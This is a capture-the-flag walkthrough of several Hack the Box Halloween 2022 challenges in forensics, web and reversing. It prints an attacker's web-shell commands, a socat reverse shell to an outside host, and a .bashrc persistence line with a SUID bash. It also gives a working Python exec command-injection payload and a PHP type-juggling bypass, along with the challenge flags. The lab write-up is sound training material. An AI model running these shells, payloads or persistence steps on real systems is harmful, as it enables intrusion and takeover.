Hack the Box (HTB) – Hack the Boo CTF 2022

This is a walk-through of the Hack the Boo CTF of Hack the Box for Halloween.

Forensics

Wrong Spooky Season – Easy – 200 pts

“I told them it was too soon and in the wrong season to deploy such a website, but they assured me that theming it properly would be enough to stop the ghosts from haunting us. I was wrong.” Now there is an internal breach in the `Spooky Network` and you need to find out what happened. Analyze the the network traffic and find how the scary ghosts got in and what they did.

  • Download the challenge file: forensics_wrong_spooky_season.zip
  • Unzip the file
unzip forensics_wrong_spooky_season.zip
  • Start Wireshark and open the capture.pcap file.
  • There is HTTP traffic.
  • Click on Edit -> Find Packet…
  • In Display filter, select String
  • Enter HTTP/1.1 200 and click Find

Packet 418 stands out with parameter “cmd=whoami”

GET /e4d1c32a56ca15b3.jsp?cmd=whoami HTTP/1.1
root

Packet 426 stands out with parameter “cmd=id”

GET /e4d1c32a56ca15b3.jsp?cmd=id HTTP/1.1
uid=0(root) gid=0(root) groups=0(root)

Packet 436 installs socat

GET /e4d1c32a56ca15b3.jsp?cmd=apt%20-y%20install%20socat HTTP/1.1

Packet 464 uses socat to execute a reverse shell

GET /e4d1c32a56ca15b3.jsp?cmd=socat%20TCP:192.168.1.180:1337%20EXEC:bash HTTP/1.1
socat TCP:192.168.1.180:1337 EXEC:bash

Follow TCP Stream on packet 466

id
uid=0(root) gid=0(root) groups=0(root)
groups
root
uname -r
5.18.0-kali7-amd64
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/umount
/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash
ls -lha 
total 20K
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 .
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 ..
-rwxrwx--- 1 root root 1.8K Oct  8 00:04 pom.xml
drwxr-xr-x 3 root root 4.0K Oct 10 17:27 src
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 target

We find this interesting command:

echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash

Decode the command

The rev command is used to reverse lines characterwise (see man page). Command is encoded in base 64 and is reversed.

echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev | base64 -d

HTB{j4v4_5pr1ng_just_b3c4m3_j4v4_sp00ky!!}

Trick or Breach – Easy – 200 pts

Our company has been working on a secret project for almost a year. None knows about the subject, although rumor is that it is about an old Halloween legend where an old witch in the woods invented a potion to bring pumpkins to life, but in a more up-to-date approach. Unfortunately, we learned that malicious actors accessed our network in a massive cyber attack. Our security team found that the hack had occurred when a group of children came into the office’s security external room for trick or treat. One of the children was found to be a paid actor and managed to insert a USB into one of the security personnel’s computers, which allowed the hackers to gain access to the company’s systems. We only have a network capture during the time of the incident. Can you find out if they stole the secret project?

  • Download the challenge file: forensics_trick_or_breach.zip
  • Unzip the file
unzip forensics_trick_or_breach.zip
  • Start Wireshark and open the capture.pcap file.

We see DNS traffic with suspicious subdomains.

504b0304140008080800a52c47550000000000000000000000.pumpkincorp.com
0018000000786c2f64726177696e67732f64726177696e6731.pumpkincorp.com
2e786d6c9dd05d6ec2300c07f013ec0e55de695a181343145e.pumpkincorp.com
...

This looks like DNS data exfiltration.

Extract the data

Use tcpdump to extract the subdomain part of pumpkincorp.com.

tcpdump -nX -r capture.pcap | grep pumpkincorp | cut -d " " -f8 | cut -d "." -f1 > data

We get a file containing all the subdomains. This looks like hexadecimal.

Convert from hex to ascii

Copy the data in CyberChef and choose From hex.

PK........¥,GU................xl/drawings/drawing1.xml.Ð]nÂ0..ð.ì.UÞiZ..C.^ÐN0.à%n...Ê.£Ü~ÑJ6i{..mË?ùïÍnt¶øDb.|#ê²..z.´ñ]#.ïo³.(8.×`.ÇF\.Ånû
...

We can see some text like “drawings/drawing1.xml”. The first characters are “PK” which corresponds to a ZIP file. Convert data from hex to ascii and send the output to a ZIP file.

cat data | xxd -r -p > data.zip

Unzip the file

unzip data.zip

Extract the flag

grep -Ri HTB .
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="28" uniqueCount="22"><si><t>Recipe Assignment</t></si><si><t>In this sheet there are assigned the ingredients of the punken pun secret project.</t></si><si><t>Subject</t></si><si><t>Assignment</t></si><si><t>Status</t></si><si><t>Time</t></si><si><t>Start date</t></si><si><t>Due on</t></si><si><t>Andrew</t></si><si><t>1 Fillet of a fenny snake</t></si><si><t>In progress</t></si><si><t>Nick</t></si><si><t>3 Lizard’s legs</t></si><si><t>Not started</t></si><si><t>3 Bat wings</t></si><si><t>Mike</t></si><si><t>3 Halloween chips</t></si><si><t>Done</t></si><si><t>HTB{M4g1c_c4nn0t_pr3v3nt_d4t4_br34ch}</t></si><si><t>Skipped</t></si><si><t>Team Members</t></si><si><t>Member of the Punkenpun project.</t></si></sst>

HTB{M4g1c_c4nn0t_pr3v3nt_d4t4_br34ch}

Web

Evaluation Deck – Easy – 200 pts

A powerful demon has sent one of his ghost generals into our world to ruin the fun of Halloween. The ghost can only be defeated by luck. Are you lucky enough to draw the right cards to defeat him and save this Halloween?

  • Download the challenge file: web_evaluation_deck.zip
  • Unzip the file
unzip web_evaluation_deck.zip

There is a file called flag.txt for testing.

HTB{f4k3_fl4g_f0r_t3st1ng}

Explore the files.

build-docker.sh

#!/bin/bash
docker rm -f web_evaluation_deck
docker build -t web_evaluation_deck .
docker run --name=web_evaluation_deck --rm -p1337:1337 -it web_evaluation_deck

This Docker container starts the web application on port 1337.

Command injection in routes.py

Explore the files. We find a command injection in routes.py

cd web_evaluation_deck/challenge/application/blueprints
cat routes.py
from flask import Blueprint, render_template, request                                                                                                      
from application.util import response                                                                                                                      

web = Blueprint('web', __name__)
api = Blueprint('api', __name__)

@web.route('/')
def index():
    return render_template('index.html')

@api.route('/get_health', methods=['POST'])
def count():
    if not request.is_json:
        return response('Invalid JSON!'), 400

    data = request.get_json()

    current_health = data.get('current_health')
    attack_power = data.get('attack_power')
    operator = data.get('operator')
    
    if not current_health or not attack_power or not operator:
        return response('All fields are required!'), 400

    result = {}
    try:
        code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
        exec(code, result)
        return response(result.get('result'))
    except:
        return response('Something Went Wrong!'), 500

The vulnerable code uses the exec function with parameters that are modifiable by the user when calling API /api/get_health:

code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)

Use Bandit to audit Python code.

Build and start the Docker container for troubleshooting

sudo apt update
sudo apt install docker.io
chmod u+x build-docker.sh
sudo ./build-docker.sh

We can obtain a shell to validate the paths within the container.

sudo docker ps # List containers, ID is ead71580fd7f
sudo docker exec -it ead71580fd7f /bin/sh

When we create a file in this path in the container, it is accessible at: http://127.0.0.1:1337/static/test.txt

/app/application/static/test.txt

The flag.txt file for testing is in

/flag.txt

Intercept requests using Burp Suite

Access the local web application at http://127.0.0.1:1337.

POST /api/get_health HTTP/1.1
Host: 127.0.0.1:1337
...
Content-Type: application/json
...

{"current_health":"100","attack_power":"78","operator":"+"}

Build the injection payload with Python on Kali

This is the initial code, working as expected.

python3
result = {}
current_health = 100
attack_power = 10
operator = "*"
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)

Complete the code with valid syntax.

operator = "*1\nfoo="
code = compile(f'result = {int(current_health)} {operator}

Make a system call (ls).

operator = "*1\nimport os\nos.system('ls')\nfoo="
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)

This is the final payload to copy the flag.txt to a directory we can read:

* 1\nimport os\nos.system('cp /flag.txt /app/application/static/flag.txt')\nfoo=
POST /api/get_health HTTP/1.1

Host: 178.128.42.34:31500

...
Content-Type: application/json

...

{"current_health":"34","attack_power":"33","operator":"* 1\nimport os\nos.system('cp /flag.txt /app/application/static/flag.txt')\nfoo="}

Read the flag at http://<challenge IP>:31500/static/flag.txt.

HTB{c0d3_1nj3ct10ns_4r3_Gr3at!!}

Juggling Facts – Easy – 500 pts

An organization seems to possess knowledge of the true nature of pumpkins. Can you find out what they honestly know and uncover this centuries-long secret once and for all?

  • Download the challenge file: web_juggling_facts.zip
  • Unzip the file
unzip web_juggling_facts.zip

Explore the files.

build-docker.sh

#!/bin/bash
docker rm -f web_juggling_facts
docker build --tag=web_juggling_facts .
docker run -p 1337:1337 --rm --name=web_juggling_facts web_juggling_facts

This Docker container starts the web application on port 1337.

PHP loose comparison in switch statement

Explore the files. We find a PHP loose comparison in the switch statement of controllers/IndexController.php.

public function getfacts($router)
{
    $jsondata = json_decode(file_get_contents('php://input'), true);

    if ( empty($jsondata) || !array_key_exists('type', $jsondata))
    {
        return $router->jsonify(['message' => 'Insufficient parameters!']);
    }

    if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
    {
        return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
    }

    switch ($jsondata['type'])
    {
        case 'secrets':
            return $router->jsonify([
                'facts' => $this->facts->get_facts('secrets')
            ]);

        case 'spooky':
            return $router->jsonify([
                'facts' => $this->facts->get_facts('spooky')
            ]);
            
        case 'not_spooky':
            return $router->jsonify([
                'facts' => $this->facts->get_facts('not_spooky')
            ]);
            
        default:
            return $router->jsonify([
                'message' => 'Invalid type!'
            ]);
        }
    }
}

If we call the API /api/getfacts with “type”:true, the first case statement will be executed.

Intercept requests using Burp Suite

The web application makes calls to API /api/getfacts.

POST /api/getfacts HTTP/1.1

Host: 127.0.0.1:1337

...
Content-Type: application/json

...
{"type":"secrets"}
HTTP/1.1 200 OK

Server: nginx

Content-Type: application/json; charset=utf-8

Connection: close

Content-Length: 74




{"message":"Currently this type can be only accessed through localhost!"}

Exploit the PHP loose comparison in /api/getfacts

Intercept requests using Burp Suite. Change type to true.

POST /api/getfacts HTTP/1.1

Host: 127.0.0.1:1337

...
Content-Type: application/json
...


{"type":true}

HTB{sw1tch_stat3m3nts_4r3_vuln3r4bl3!!!}

Reversing

Cult Meeting – Easy – 200 pts

After months of research, you’re ready to attempt to infiltrate the meeting of a shadowy cult. Unfortunately, it looks like they’ve changed their password!

  • Download the challenge file: rev_cult_meeting.zip
  • Unzip the file
unzip rev_cult_meeting.zip

Look at the strings from file

cd rev_cult_meeting
strings meeting
...
[3mYou knock on the door and a panel slides back
[3m A hooded figure looks out at you
"What is the password for this week's meeting?" 
sup3r_s3cr3t_p455w0rd_f0r_u!
[3mThe panel slides closed and the lock clicks
|      | "Welcome inside..." 
/bin/sh
   \/
 \| "That's not our password - call the guards!"
;*3$"
...

We find the password “sup3r_s3cr3t_p455w0rd_f0r_u!”

Access the application and provide the password

nc <IP> <port>
You knock on the door and a panel slides back
|/👁 👁 \| A hooded figure looks out at you
"What is the password for this week's meeting?" sup3r_s3cr3t_p455w0rd_f0r_u!
sup3r_s3cr3t_p455w0rd_f0r_u!
The panel slides closed and the lock clicks
|      | "Welcome inside..." 
/bin/sh: 0: can't access tty; job control turned off
$ whoami
whoami
ctf
$ ls -la
ls -la
total 44
drwxr-xr-x 1 ctf  ctf   4096 Oct 17 13:55 .
drwxr-xr-x 1 root root  4096 Oct 17 13:53 ..
-rw-r--r-- 1 ctf  ctf    220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ctf  ctf   3526 Mar 27  2022 .bashrc
-rw-r--r-- 1 ctf  ctf    807 Mar 27  2022 .profile
-rw-r--r-- 1 root root    36 Oct 17 13:53 flag.txt
-rwxr-xr-x 1 root root 17000 Oct 17 13:55 meeting
$ cat flag.txt  
cat flag.txt
HTB{1nf1ltr4t1ng_4_cul7_0f_str1ng5}

HTB{1nf1ltr4t1ng_4_cul7_0f_str1ng5}

Reversing – Ouija – Easy – 200 pts

You’ve made contact with a spirit from beyond the grave! Unfortunately, they speak in an ancient tongue of flags, so you can’t understand a word. You’ve enlisted a medium who can translate it, but they like to take their time…

  • Download the challenge file: rev_ouija.zip
  • Unzip the file
unzip rev_ouija.zip

Inspect the strings from the program

strings strings rev_ouija/ouija
…
ZLT{Svvafy_kdwwhk_lg_qgmj_ugvw_escwk_al_wskq_lg_ghlaearw_dslwj!}
…

We can recognize the flag format, which should start with “HTB” instead of “ZLT”. Use CyberChef with the ROT13 recipe. Adjust the Amount until you get the flag. It should be 8.

HTB{Adding_sleeps_to_your_code_makes_it_easy_to_optimize_later!}

HTB{Adding_sleeps_to_your_code_makes_it_easy_to_optimize_later!}

Reversing – EncodedPayload – Easy – 200 pts

Buried in your basement you’ve discovered an ancient tome. The pages are full of what look like warnings, but luckily you can’t read the language! What will happen if you invoke the ancient spells here?

  • Download the challenge file: rev_encodedpayload.zip
  • Unzip the file
unzip rev_encodedpayload.zip

Looking at the strings from the file does not help.

Use strace to trace system calls and signals

strace ./encodedpayload
execve("./encodedpayload", ["./encodedpayload"], 0x7ffd3d8cba00 /* 56 vars */) = 0
[ Process PID=586384 runs in 32 bit mode. ]
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("127.0.0.1")}, 102) = -1 ECONNREFUSED (Connection refused)
syscall_0xffffffffffffff0b(0xffe534d8, 0xffe534d0, 0, 0, 0, 0) = -1 ENOSYS (Function not implemented)
execve("/bin/sh", ["/bin/sh", "-c", "echo HTB{PLz_strace_M333}"], NULL) = 0
[ Process PID=586384 runs in 64 bit mode. ]
brk(NULL)                               = 0x563804f53000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fa2569ac000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
newfstatat(4, "", {st_mode=S_IFREG|0644, st_size=125182, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 125182, PROT_READ, MAP_PRIVATE, 4, 0) = 0x7fa25698d000
close(4)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\300\223\2\0\0\0\0\0"..., 832) = 832
pread64(4, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(4, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\200\0\300\4\0\0\0\1\0\0\0\0\0\0\0", 32, 848) = 32
pread64(4, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0q\247\307\271{\300\263\343I\243\330d\2ReU"..., 68, 880) = 68
newfstatat(4, "", {st_mode=S_IFREG|0755, st_size=2061320, ...}, AT_EMPTY_PATH) = 0
pread64(4, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2109328, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x7fa256600000
mmap(0x7fa256628000, 1507328, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x28000) = 0x7fa256628000
mmap(0x7fa256798000, 360448, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x198000) = 0x7fa256798000
mmap(0x7fa2567f0000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1f0000) = 0x7fa2567f0000
mmap(0x7fa2567f6000, 53136, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fa2567f6000
close(4)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fa25698a000
arch_prctl(ARCH_SET_FS, 0x7fa25698a740) = 0
set_tid_address(0x7fa25698aa10)         = 586384
set_robust_list(0x7fa25698aa20, 24)     = 0
rseq(0x7fa25698b0e0, 0x20, 0, 0x53053053) = 0
mprotect(0x7fa2567f0000, 16384, PROT_READ) = 0
mprotect(0x563803e9c000, 8192, PROT_READ) = 0
mprotect(0x7fa2569e1000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7fa25698d000, 125182)          = 0
getuid()                                = 1000
getgid()                                = 1000
getpid()                                = 586384
rt_sigaction(SIGCHLD, {sa_handler=0x563803e91d80, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7fa25663daa0}, NULL, 8) = 0
geteuid()                               = 1000
getppid()                               = 586381
getrandom("\x97\xd2\xae\xea\xf0\x19\xa9\x37", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x563804f53000
brk(0x563804f74000)                     = 0x563804f74000
getcwd("/home/kali/htb/ctf-hacktheboo/encodedpayload", 4096) = 45
geteuid()                               = 1000
getegid()                               = 1000
rt_sigaction(SIGINT, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGINT, {sa_handler=0x563803e91d80, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7fa25663daa0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7fa25663daa0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGTERM, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7fa25663daa0}, NULL, 8) = 0
write(1, "HTB{PLz_strace_M333}\n", 21)  = -1 EPIPE (Broken pipe)
--- SIGPIPE {si_signo=SIGPIPE, si_code=SI_USER, si_pid=586384, si_uid=1000} ---
+++ killed by SIGPIPE +++

The flag is near the end.

HTB{PLz_strace_M333}